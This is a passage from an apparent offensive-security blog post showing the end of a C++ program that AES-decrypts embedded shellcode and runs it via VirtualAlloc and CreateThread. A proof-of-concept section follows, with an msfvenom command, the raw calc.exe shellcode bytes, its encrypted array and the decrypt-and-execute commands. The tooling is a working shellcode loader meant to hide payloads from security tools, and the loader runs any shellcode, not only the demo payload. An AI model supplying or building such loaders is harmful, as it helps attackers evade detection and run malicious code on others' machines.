        << "                       16 ASCII chars = AES-128, 32 = AES-256\n"
        << "  --iv  <hex|ascii>    32 hex chars or 16 ASCII chars (default: 16 zero bytes)\n"
        << "\n"
        << "Output:\n"
        << "  --out <file>         write output to file (all formats)\n"
        << "                       raw: required path; hex/array/string: optional, default stdout\n"
        << "  --format <fmt>       raw | hex | array | string  (default: raw)\n"
        << "  --var <name>         variable name for array/string output (default: data)\n"
        << "\n"
        << "Execution:\n"
        << "  --exec               decrypt and run shellcode via VirtualAlloc + CreateThread\n"
        << "                       can be combined with --format to print before executing\n";
}

bool parseArgs(int argc, char* argv[], Config& cfg) {
    cfg.key = { 'S','E','C','R','E','T','K','E','Y','1','2','3','4','5','6','7',
                'S','E','C','R','E','T','K','E','Y','1','2','3','4','5','6','7' };
    cfg.iv.assign(16, 0x00);

    if (argc < 2) return false;

    int i = 1;

    if (argv[i][0] != '-') {
        cfg.inputFile = argv[i++];
    }

    for (; i < argc; ++i) {
        std::string arg = argv[i];

        if (arg == "--encrypted") {
            cfg.useInlineData = true;
        }
        else if (arg == "--exec") {
            cfg.execShellcode = true;
        }
        else if (arg == "--out" && i + 1 < argc) {
            cfg.outputFile = argv[++i];
        }
        else if (arg == "--key" && i + 1 < argc) {
            if (!parseKey(argv[++i], cfg.key)) return false;
        }
        else if (arg == "--iv" && i + 1 < argc) {
            if (!parseIv(argv[++i], cfg.iv)) return false;
        }
        else if (arg == "--format" && i + 1 < argc) {
            std::string fmt = argv[++i];
            if (fmt == "raw")    cfg.format = OutputFormat::Raw;
            else if (fmt == "hex")    cfg.format = OutputFormat::Hex;
            else if (fmt == "array")  cfg.format = OutputFormat::Array;
            else if (fmt == "string") cfg.format = OutputFormat::String;
            else {
                std::cerr << "unknown --format: " << fmt << "\n";
                return false;
            }
        }
        else if (arg == "--var" && i + 1 < argc) {
            cfg.varName = argv[++i];
        }
        else {
            std::cerr << "unknown argument: " << arg << "\n";
            return false;
        }
    }

    if (cfg.inputFile.empty() && !cfg.useInlineData) {
        std::cerr << "no input: provide a file path or --encrypted\n";
        return false;
    }

    if (!cfg.inputFile.empty() && cfg.useInlineData) {
        std::cerr << "cannot combine a file and --encrypted\n";
        return false;
    }

    if (cfg.format == OutputFormat::Raw && cfg.outputFile.empty() && !cfg.execShellcode)
        cfg.outputFile = cfg.inputFile.empty() ? "decrypted.bin" : cfg.inputFile + ".dec";

    return true;
}

int main(int argc, char* argv[]) {
    Config cfg;
    if (!parseArgs(argc, argv, cfg)) {
        printUsage(argv[0]);
        return 1;
    }

    std::vector<BYTE> ciphertext;

    if (cfg.useInlineData) {
        if (enc_data_len == 0) {
            std::cerr << "enc_data[] is empty — paste your encrypted array in the source and recompile\n";
            return 1;
        }
        ciphertext.assign(enc_data, enc_data + enc_data_len);
        std::cerr << "using enc_data[]: " << std::dec << ciphertext.size() << " bytes\n";
    }
    else {
        if (!readFile(cfg.inputFile, ciphertext)) {
            std::cerr << "failed to read: " << cfg.inputFile << "\n";
            return 1;
        }
        std::cerr << "read " << std::dec << ciphertext.size() << " bytes from " << cfg.inputFile << "\n";
    }

    std::vector<BYTE> plaintext;
    if (!bcryptDecrypt(ciphertext, cfg.key, cfg.iv, plaintext)) {
        std::cerr << "decryption failed\n";
        return 1;
    }

    std::cerr << "decrypted: " << std::dec << plaintext.size()
        << " bytes (AES-" << cfg.key.size() * 8 << "-CBC, PKCS7 stripped)\n";

    // output block — skipped entirely when --exec is the only goal and no --format given
    if (!cfg.execShellcode || cfg.format != OutputFormat::Raw || !cfg.outputFile.empty()) {
        if (cfg.format == OutputFormat::Raw && !cfg.outputFile.empty()) {
            if (!writeFile(cfg.outputFile, plaintext)) {
                std::cerr << "failed to write: " << cfg.outputFile << "\n";
                return 1;
            }
            std::cerr << "written to " << cfg.outputFile << "\n";
        }
        else if (cfg.format != OutputFormat::Raw) {
            std::ofstream fileOut;
            std::ostream* out = &std::cout;

            if (!cfg.outputFile.empty()) {
                fileOut.open(cfg.outputFile);
                if (!fileOut) {
                    std::cerr << "failed to open for writing: " << cfg.outputFile << "\n";
                    return 1;
                }
                out = &fileOut;
                std::cerr << "writing to " << cfg.outputFile << "\n";
            }

            if (cfg.format == OutputFormat::Hex)    printHex(*out, plaintext);
            else if (cfg.format == OutputFormat::Array)  printArray(*out, plaintext, cfg.varName);
            else if (cfg.format == OutputFormat::String) printString(*out, plaintext, cfg.varName);
        }
    }

    if (cfg.execShellcode) {
        if (!runShellcode(plaintext)) {
            std::cerr << "execution failed\n";
            return 1;
        }
    }

    return 0;
}

Proof of Concept

To easily test both codes we will use a simple msfvenom generated shellcode:

msfvenom -p windows/x64/exec CMD="calc.exe" -f c

There is the output:

unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

And now let’s go to the encryption source code and replace the shellcode_data variable with the shellcode

Then from a cmd we call the encryption file:

AESEncryption.exe --shellcode --key "SECRETKEY1234567SECRETKEY1234567" --format array --var enc_sc
key: ASCII (32 bytes, AES-256)
using shellcode_data[]: 273 bytes
encrypted: 288 bytes (AES-256-CBC + PKCS7)
unsigned char enc_sc[] = {
    0xcc, 0xc0, 0xc5, 0x1a, 0xb4, 0x1c, 0x61, 0xd4, 0x4b, 0xa3, 0x7d, 0xfc, 0xde, 0x99, 0x85, 0xb9,
    0x23, 0x5f, 0xb2, 0x6c, 0xdd, 0xf5, 0xd3, 0xf8, 0x64, 0x75, 0xda, 0xf2, 0xcf, 0x26, 0xb9, 0x0a,
    0x1f, 0x4a, 0x53, 0x8c, 0x8d, 0xdf, 0xa8, 0x47, 0xbf, 0x47, 0xb6, 0x3a, 0x69, 0x85, 0x5d, 0x6a,
    0x8f, 0x99, 0x7e, 0x37, 0x9b, 0xb1, 0x21, 0x67, 0x3d, 0xdb, 0x90, 0x78, 0x55, 0x2a, 0x9e, 0x55,
    0x61, 0xb4, 0x12, 0xbc, 0x01, 0x24, 0x4a, 0x96, 0x10, 0x0f, 0x95, 0xdf, 0x70, 0x70, 0x66, 0x1b,
    0xaf, 0xb6, 0xf9, 0x19, 0xee, 0x9f, 0x72, 0xb5, 0xca, 0x35, 0x95, 0x97, 0xb6, 0x51, 0x92, 0x34,
    0x0c, 0x32, 0x66, 0xe2, 0xe5, 0x66, 0x64, 0xe8, 0x6c, 0x77, 0xb3, 0x34, 0x25, 0x6a, 0x53, 0xb2,
    0xed, 0xf8, 0xf1, 0x64, 0xf0, 0x3d, 0xda, 0x67, 0x0a, 0x1b, 0xc1, 0xa2, 0x3c, 0xaa, 0x20, 0x18,
    0x37, 0x83, 0xaf, 0x41, 0xe5, 0xfa, 0x44, 0x0a, 0x94, 0x3d, 0xb2, 0xd7, 0xfb, 0x8e, 0xef, 0x61,
    0xcc, 0xf5, 0x49, 0xa6, 0x54, 0x2c, 0xff, 0xfa, 0x73, 0xb3, 0x0a, 0x75, 0xbf, 0xa8, 0x18, 0x59,
    0x39, 0x4c, 0xe4, 0x6f, 0x1f, 0x75, 0x41, 0x0b, 0x0d, 0x23, 0xd1, 0x3d, 0xdd, 0x1c, 0xc5, 0x6b,
    0xb9, 0x67, 0xd9, 0x50, 0x10, 0x07, 0x43, 0xd7, 0x2d, 0xd5, 0x68, 0x88, 0x1e, 0x5b, 0x46, 0x06,
    0xf1, 0x84, 0x35, 0x7f, 0x76, 0x92, 0x35, 0x52, 0x56, 0x6a, 0x57, 0x31, 0xc8, 0x84, 0x3f, 0xe5,
    0x0e, 0xad, 0xda, 0xd5, 0x49, 0xc6, 0xa4, 0xfe, 0x9e, 0xc0, 0x6c, 0xd2, 0x71, 0x02, 0x46, 0xe4,
    0x30, 0x87, 0x22, 0x96, 0x68, 0xa7, 0x2d, 0x62, 0x30, 0x00, 0x3b, 0x8f, 0xf7, 0xdb, 0x32, 0x1e,
    0x44, 0xaf, 0xa0, 0xff, 0x9b, 0x0c, 0x06, 0x10, 0x36, 0x92, 0x95, 0x81, 0x96, 0x35, 0x33, 0x35,
    0x96, 0x42, 0x69, 0x1e, 0xbc, 0xbb, 0x4c, 0x7c, 0x80, 0xb9, 0x08, 0x47, 0x9b, 0xf9, 0xe3, 0x80,
    0x82, 0x3e, 0x7f, 0xfd, 0xeb, 0xc1, 0x86, 0x3e, 0x85, 0x37, 0xc9, 0xa3, 0x1b, 0x8a, 0x26, 0x40
};
size_t enc_sc_len = 288;

The provided key have 32 characters, so the BCryptGenerateSymmetricKey function will select the AES 256 automatically

Then just paste this in the decryptor (inside the enc_data variable):

And execute the decryption compiled program:

AESShellcodeDecryption.exe --encrypted --key "SECRETKEY1234567SECRETKEY1234567" --exec

Of course, you need to pass the same key used to encrypt the data, and if you pass the exec flag, the shellcode is executed to to prove the decryption:

That’s working properly!

Conclusions

BCrypt is the right choice for AES on Windows. No deprecated WinCrypt tricks, no manual padding, and key size selects the AES variant automatically. Easy to use, but of course with some API coverage from security tools.

📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube

S12.

Having fun with AES in CBC Mode